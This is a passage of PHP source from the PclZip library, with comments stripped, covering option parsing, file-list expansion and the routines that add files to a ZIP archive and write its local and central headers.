if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$i++;
break;
case PCLZIP_OPT_COMMENT :
case PCLZIP_OPT_ADD_COMMENT :
case PCLZIP_OPT_PREPEND_COMMENT :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE,
"Missing parameter value for option '"
.PclZipUtilOptionText($p_options_list[$i])
."'");
return PclZip::errorCode();
}
if (is_string($p_options_list[$i+1])) {
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE,
"Wrong parameter value for option '"
.PclZipUtilOptionText($p_options_list[$i])
."'");
return PclZip::errorCode();
}
$i++;
break;
case PCLZIP_OPT_BY_INDEX :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_work_list = array();
if (is_string($p_options_list[$i+1])) {
$p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', '');
$v_work_list = explode(",", $p_options_list[$i+1]);
}
else if (is_integer($p_options_list[$i+1])) {
$v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1];
}
else if (is_array($p_options_list[$i+1])) {
$v_work_list = $p_options_list[$i+1];
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_sort_flag=false;
$v_sort_value=0;
for ($j=0; $j<sizeof($v_work_list); $j++) {
$v_item_list = explode("-", $v_work_list[$j]);
$v_size_item_list = sizeof($v_item_list);
if ($v_size_item_list == 1) {
$v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
$v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0];
}
elseif ($v_size_item_list == 2) {
$v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0];
$v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1];
}
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) {
$v_sort_flag=true;
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start'];
}
if ($v_sort_flag) {
}
$i++;
break;
case PCLZIP_OPT_REMOVE_ALL_PATH :
case PCLZIP_OPT_EXTRACT_AS_STRING :
case PCLZIP_OPT_NO_COMPRESSION :
case PCLZIP_OPT_EXTRACT_IN_OUTPUT :
case PCLZIP_OPT_REPLACE_NEWER :
case PCLZIP_OPT_STOP_ON_ERROR :
$v_result_list[$p_options_list[$i]] = true;
break;
case PCLZIP_OPT_SET_CHMOD :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1];
$i++;
break;
case PCLZIP_CB_PRE_EXTRACT :
case PCLZIP_CB_POST_EXTRACT :
case PCLZIP_CB_PRE_ADD :
case PCLZIP_CB_POST_ADD :
if (($i+1) >= $p_size) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_function_name = $p_options_list[$i+1];
if (!function_exists($v_function_name)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'");
return PclZip::errorCode();
}
$v_result_list[$p_options_list[$i]] = $v_function_name;
$i++;
break;
default :
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Unknown parameter '"
.$p_options_list[$i]."'");
return PclZip::errorCode();
}
$i++;
}
if ($v_requested_options !== false) {
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
if ($v_requested_options[$key] == 'mandatory') {
if (!isset($v_result_list[$key])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
return PclZip::errorCode();
}
}
}
}
if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) {
}
return $v_result;
}
function privOptionDefaultThreshold(&$p_options)
{
$v_result=1;
if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
|| isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) {
return $v_result;
}
$v_memory_limit = ini_get('memory_limit');
$v_memory_limit = trim($v_memory_limit);
$last = strtolower(substr($v_memory_limit, -1));
if($last == 'g')
$v_memory_limit = $v_memory_limit*1073741824;
if($last == 'm')
$v_memory_limit = $v_memory_limit*1048576;
if($last == 'k')
$v_memory_limit = $v_memory_limit*1024;
$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO);
if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) {
unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]);
}
return $v_result;
}
function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false)
{
$v_result=1;
foreach ($p_file_list as $v_key => $v_value) {
if (!isset($v_requested_options[$v_key])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file");
return PclZip::errorCode();
}
switch ($v_key) {
case PCLZIP_ATT_FILE_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['filename'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['filename'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
case PCLZIP_ATT_FILE_NEW_SHORT_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['new_short_name'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
case PCLZIP_ATT_FILE_NEW_FULL_NAME :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value);
if ($p_filedescr['new_full_name'] == '') {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
break;
case PCLZIP_ATT_FILE_COMMENT :
if (!is_string($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['comment'] = $v_value;
break;
case PCLZIP_ATT_FILE_MTIME :
if (!is_integer($v_value)) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'");
return PclZip::errorCode();
}
$p_filedescr['mtime'] = $v_value;
break;
case PCLZIP_ATT_FILE_CONTENT :
$p_filedescr['content'] = $v_value;
break;
default :
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Unknown parameter '".$v_key."'");
return PclZip::errorCode();
}
if ($v_requested_options !== false) {
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) {
if ($v_requested_options[$key] == 'mandatory') {
if (!isset($p_file_list[$key])) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")");
return PclZip::errorCode();
}
}
}
}
}
return $v_result;
}
function privFileDescrExpand(&$p_filedescr_list, &$p_options)
{
$v_result=1;
$v_result_list = array();
for ($i=0; $i<sizeof($p_filedescr_list); $i++) {
$v_descr = $p_filedescr_list[$i];
$v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false);
$v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']);
if (file_exists($v_descr['filename'])) {
if (@is_file($v_descr['filename'])) {
$v_descr['type'] = 'file';
}
else if (@is_dir($v_descr['filename'])) {
$v_descr['type'] = 'folder';
}
else if (@is_link($v_descr['filename'])) {
continue;
}
else {
continue;
}
}
else if (isset($v_descr['content'])) {
$v_descr['type'] = 'virtual_file';
}
else {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist");
return PclZip::errorCode();
}
$this->privCalculateStoredFilename($v_descr, $p_options);
$v_result_list[sizeof($v_result_list)] = $v_descr;
if ($v_descr['type'] == 'folder') {
$v_dirlist_descr = array();
$v_dirlist_nb = 0;
if ($v_folder_handler = @opendir($v_descr['filename'])) {
while (($v_item_handler = @readdir($v_folder_handler)) !== false) {
if (($v_item_handler == '.') || ($v_item_handler == '..')) {
continue;
}
$v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler;
if (($v_descr['stored_filename'] != $v_descr['filename'])
&& (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) {
if ($v_descr['stored_filename'] != '') {
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler;
}
else {
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler;
}
}
$v_dirlist_nb++;
}
@closedir($v_folder_handler);
}
else {
}
if ($v_dirlist_nb != 0) {
if (($v_result = $this->privFileDescrExpand($v_dirlist_descr, $p_options)) != 1) {
return $v_result;
}
$v_result_list = array_merge($v_result_list, $v_dirlist_descr);
}
else {
}
unset($v_dirlist_descr);
}
}
$p_filedescr_list = $v_result_list;
return $v_result;
}
function privCreate($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
$this->privDisableMagicQuotes();
if (($v_result = $this->privOpenFd('wb')) != 1)
{
return $v_result;
}
$v_result = $this->privAddList($p_filedescr_list, $p_result_list, $p_options);
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
function privAdd($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_list_detail = array();
if ((!is_file($this->zipname)) || (filesize($this->zipname) == 0))
{
$v_result = $this->privCreate($p_filedescr_list, $p_result_list, $p_options);
return $v_result;
}
$this->privDisableMagicQuotes();
if (($v_result=$this->privOpenFd('rb')) != 1)
{
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_central_dir = array();
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
return $v_result;
}
@rewind($this->zip_fd);
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
{
$this->privCloseFd();
$this->privSwapBackMagicQuotes();
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
$v_size = $v_central_dir['offset'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = fread($this->zip_fd, $v_read_size);
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
$v_header_list = array();
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
{
fclose($v_zip_temp_fd);
$this->privCloseFd();
@unlink($v_zip_temp_name);
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_offset = @ftell($this->zip_fd);
$v_size = $v_central_dir['size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_zip_temp_fd, $v_read_size);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
for ($i=0, $v_count=0; $i<sizeof($v_header_list); $i++)
{
if ($v_header_list[$i]['status'] == 'ok') {
if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
fclose($v_zip_temp_fd);
$this->privCloseFd();
@unlink($v_zip_temp_name);
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_count++;
}
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
$v_comment = $v_central_dir['comment'];
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
if (isset($p_options[PCLZIP_OPT_ADD_COMMENT])) {
$v_comment = $v_comment.$p_options[PCLZIP_OPT_ADD_COMMENT];
}
if (isset($p_options[PCLZIP_OPT_PREPEND_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_PREPEND_COMMENT].$v_comment;
}
$v_size = @ftell($this->zip_fd)-$v_offset;
if (($v_result = $this->privWriteCentralHeader($v_count+$v_central_dir['entries'], $v_size, $v_offset, $v_comment)) != 1)
{
unset($v_header_list);
$this->privSwapBackMagicQuotes();
return $v_result;
}
$v_swap = $this->zip_fd;
$this->zip_fd = $v_zip_temp_fd;
$v_zip_temp_fd = $v_swap;
$this->privCloseFd();
@fclose($v_zip_temp_fd);
$this->privSwapBackMagicQuotes();
@unlink($this->zipname);
PclZipUtilRename($v_zip_temp_name, $this->zipname);
return $v_result;
}
function privOpenFd($p_mode)
{
$v_result=1;
if ($this->zip_fd != 0)
{
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Zip file \''.$this->zipname.'\' already open');
return PclZip::errorCode();
}
if (($this->zip_fd = @fopen($this->zipname, $p_mode)) == 0)
{
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in '.$p_mode.' mode');
return PclZip::errorCode();
}
return $v_result;
}
function privCloseFd()
{
$v_result=1;
if ($this->zip_fd != 0)
@fclose($this->zip_fd);
$this->zip_fd = 0;
return $v_result;
}
function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_header_list = array();
if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
{
return $v_result;
}
$v_offset = @ftell($this->zip_fd);
for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
{
if ($v_header_list[$i]['status'] == 'ok') {
if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
return $v_result;
}
$v_count++;
}
$this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
}
$v_comment = '';
if (isset($p_options[PCLZIP_OPT_COMMENT])) {
$v_comment = $p_options[PCLZIP_OPT_COMMENT];
}
$v_size = @ftell($this->zip_fd)-$v_offset;
if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
{
unset($v_header_list);
return $v_result;
}
return $v_result;
}
function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
{
$v_result=1;
$v_header = array();
$v_nb = sizeof($p_result_list);
for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
$p_filedescr_list[$j]['filename']
= PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
if ($p_filedescr_list[$j]['filename'] == "") {
continue;
}
if ( ($p_filedescr_list[$j]['type'] != 'virtual_file')
&& (!file_exists($p_filedescr_list[$j]['filename']))) {
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
return PclZip::errorCode();
}
if ( ($p_filedescr_list[$j]['type'] == 'file')
|| ($p_filedescr_list[$j]['type'] == 'virtual_file')
|| ( ($p_filedescr_list[$j]['type'] == 'folder')
&& ( !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
|| !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
) {
$v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
$p_options);
if ($v_result != 1) {
return $v_result;
}
$p_result_list[$v_nb++] = $v_header;
}
}
return $v_result;
}
function privAddFile($p_filedescr, &$p_header, &$p_options)
{
$v_result=1;
$p_filename = $p_filedescr['filename'];
if ($p_filename == "") {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
return PclZip::errorCode();
}
clearstatcache();
$p_header['version'] = 20;
$p_header['version_extracted'] = 10;
$p_header['flag'] = 0;
$p_header['compression'] = 0;
$p_header['crc'] = 0;
$p_header['compressed_size'] = 0;
$p_header['filename_len'] = strlen($p_filename);
$p_header['extra_len'] = 0;
$p_header['disk'] = 0;
$p_header['internal'] = 0;
$p_header['offset'] = 0;
$p_header['filename'] = $p_filename;
$p_header['stored_filename'] = $p_filedescr['stored_filename'];
$p_header['extra'] = '';
$p_header['status'] = 'ok';
$p_header['index'] = -1;
if ($p_filedescr['type']=='file') {
$p_header['external'] = 0x00000000;
$p_header['size'] = filesize($p_filename);
}
else if ($p_filedescr['type']=='folder') {
$p_header['external'] = 0x00000010;
$p_header['mtime'] = filemtime($p_filename);
$p_header['size'] = filesize($p_filename);
}
else if ($p_filedescr['type'] == 'virtual_file') {
$p_header['external'] = 0x00000000;
$p_header['size'] = strlen($p_filedescr['content']);
}
if (isset($p_filedescr['mtime'])) {
$p_header['mtime'] = $p_filedescr['mtime'];
}
else if ($p_filedescr['type'] == 'virtual_file') {
$p_header['mtime'] = time();
}
else {
$p_header['mtime'] = filemtime($p_filename);
}
if (isset($p_filedescr['comment'])) {
$p_header['comment_len'] = strlen($p_filedescr['comment']);
$p_header['comment'] = $p_filedescr['comment'];
}
else {
$p_header['comment_len'] = 0;
$p_header['comment'] = '';
}
if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_header, $v_local_header);
$v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
if ($v_result == 0) {
$p_header['status'] = "skipped";
$v_result = 1;
}
if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
$p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
}
}
if ($p_header['stored_filename'] == "") {
$p_header['status'] = "filtered";
}
if (strlen($p_header['stored_filename']) > 0xFF) {
$p_header['status'] = 'filename_too_long';
}
if ($p_header['status'] == 'ok') {
if ($p_filedescr['type'] == 'file') {
if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
&& (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
|| (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
&& ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
$v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
if ($v_result < PCLZIP_ERR_NO_ERROR) {
return $v_result;
}
}
else {
if (($v_file = @fopen($p_filename, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
return PclZip::errorCode();
}
$v_content = @fread($v_file, $p_header['size']);
@fclose($v_file);
$p_header['crc'] = @crc32($v_content);
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
$p_header['compressed_size'] = $p_header['size'];
$p_header['compression'] = 0;
}
else {
$v_content = @gzdeflate($v_content);
$p_header['compressed_size'] = strlen($v_content);
$p_header['compression'] = 8;
}
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
@fclose($v_file);
return $v_result;
}
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
}
}
else if ($p_filedescr['type'] == 'virtual_file') {
$v_content = $p_filedescr['content'];
$p_header['crc'] = @crc32($v_content);
if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
$p_header['compressed_size'] = $p_header['size'];
$p_header['compression'] = 0;
}
else {
$v_content = @gzdeflate($v_content);
$p_header['compressed_size'] = strlen($v_content);
$p_header['compression'] = 8;
}
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
@fclose($v_file);
return $v_result;
}
@fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
}
else if ($p_filedescr['type'] == 'folder') {
if (@substr($p_header['stored_filename'], -1) != '/') {
$p_header['stored_filename'] .= '/';
}
$p_header['size'] = 0;
if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
{
return $v_result;
}
}
}
if (isset($p_options[PCLZIP_CB_POST_ADD])) {
$v_local_header = array();
$this->privConvertHeader2FileInfo($p_header, $v_local_header);
$v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
if ($v_result == 0) {
$v_result = 1;
}
}
return $v_result;
}
function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
{
$v_result=PCLZIP_ERR_NO_ERROR;
$p_filename = $p_filedescr['filename'];
if (($v_file = @fopen($p_filename, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
return PclZip::errorCode();
}
$v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
fclose($v_file);
PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
return PclZip::errorCode();
}
$v_size = filesize($p_filename);
while ($v_size != 0) {
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_file, $v_read_size);
@gzputs($v_file_compressed, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
@fclose($v_file);
@gzclose($v_file_compressed);
if (filesize($v_gzip_temp_name) < 18) {
PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
return PclZip::errorCode();
}
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
$v_binary_data = @fread($v_file_compressed, 10);
$v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
$v_data_header['os'] = bin2hex($v_data_header['os']);
@fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
$v_binary_data = @fread($v_file_compressed, 8);
$v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
$p_header['compression'] = ord($v_data_header['cm']);
$p_header['crc'] = $v_data_footer['crc'];
$p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
@fclose($v_file_compressed);
if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
return $v_result;
}
if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
{
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
return PclZip::errorCode();
}
fseek($v_file_compressed, 10);
$v_size = $p_header['compressed_size'];
while ($v_size != 0)
{
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
$v_buffer = @fread($v_file_compressed, $v_read_size);
@fwrite($this->zip_fd, $v_buffer, $v_read_size);
$v_size -= $v_read_size;
}
@fclose($v_file_compressed);
@unlink($v_gzip_temp_name);
return $v_result;
}
function privCalculateStoredFilename(&$p_filedescr, &$p_options)
{
$v_result=1;
$p_filename = $p_filedescr['filename'];
if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
$p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
}
else {
$p_add_dir = '';
}
if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
$p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
}
else {
$p_remove_dir = '';
}
if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
else {
$p_remove_all_dir = 0;
}
if (isset($p_filedescr['new_full_name'])) {
$v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
}
else {
if (isset($p_filedescr['new_short_name'])) {
$v_path_info = pathinfo($p_filename);
$v_dir = '';
if ($v_path_info['dirname'] != '') {
$v_dir = $v_path_info['dirname'].'/';
}
$v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
}
else {
$v_stored_filename = $p_filename;
}
if ($p_remove_all_dir) {
$v_stored_filename = basename($p_filename);
}
else if ($p_remove_dir != "") {
if (substr($p_remove_dir, -1) != '/')
$p_remove_dir .= "/";
if ( (substr($p_filename, 0, 2) == "./")
|| (substr($p_remove_dir, 0, 2) == "./")) {
if ( (substr($p_filename, 0, 2) == "./")
&& (substr($p_remove_dir, 0, 2) != "./")) {
$p_remove_dir = "./".$p_remove_dir;
}
if ( (substr($p_filename, 0, 2) != "./")
&& (substr($p_remove_dir, 0, 2) == "./")) {
$p_remove_dir = substr($p_remove_dir, 2);
}
}
$v_compare = PclZipUtilPathInclusion($p_remove_dir,
$v_stored_filename);
if ($v_compare > 0) {
if ($v_compare == 2) {
$v_stored_filename = "";
}
else {
$v_stored_filename = substr($v_stored_filename,
strlen($p_remove_dir));
}
}
}
$v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
if ($p_add_dir != "") {
if (substr($p_add_dir, -1) == "/")
$v_stored_filename = $p_add_dir.$v_stored_filename;
else
$v_stored_filename = $p_add_dir."/".$v_stored_filename;
}
}
$v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
$p_filedescr['stored_filename'] = $v_stored_filename;
return $v_result;
}
function privWriteFileHeader(&$p_header)
{
$v_result=1;
$p_header['offset'] = ftell($this->zip_fd);
$v_date = getdate($p_header['mtime']);
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
$v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
$p_header['version_extracted'], $p_header['flag'],
$p_header['compression'], $v_mtime, $v_mdate,
$p_header['crc'], $p_header['compressed_size'],
$p_header['size'],
strlen($p_header['stored_filename']),
$p_header['extra_len']);
fputs($this->zip_fd, $v_binary_data, 30);
if (strlen($p_header['stored_filename']) != 0)
{
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
}
if ($p_header['extra_len'] != 0)
{
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
}
return $v_result;
}
function privWriteCentralFileHeader(&$p_header)
{
$v_result=1;
$v_date = getdate($p_header['mtime']);
$v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
$v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
$v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
$p_header['version'], $p_header['version_extracted'],
$p_header['flag'], $p_header['compression'],
$v_mtime, $v_mdate, $p_header['crc'],
$p_header['compressed_size'], $p_header['size'],
strlen($p_header['stored_filename']),
$p_header['extra_len'], $p_header['comment_len'],
$p_header['disk'], $p_header['internal'],
$p_header['external'], $p_header['offset']);
fputs($this->zip_fd, $v_binary_data, 46);
if (strlen($p_header['stored_filename']) != 0)
{
fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
}
if ($p_header['extra_len'] != 0)
{
fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
}
if ($p_header['comment_len'] != 0)
{
fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
}
return $v_result;
}
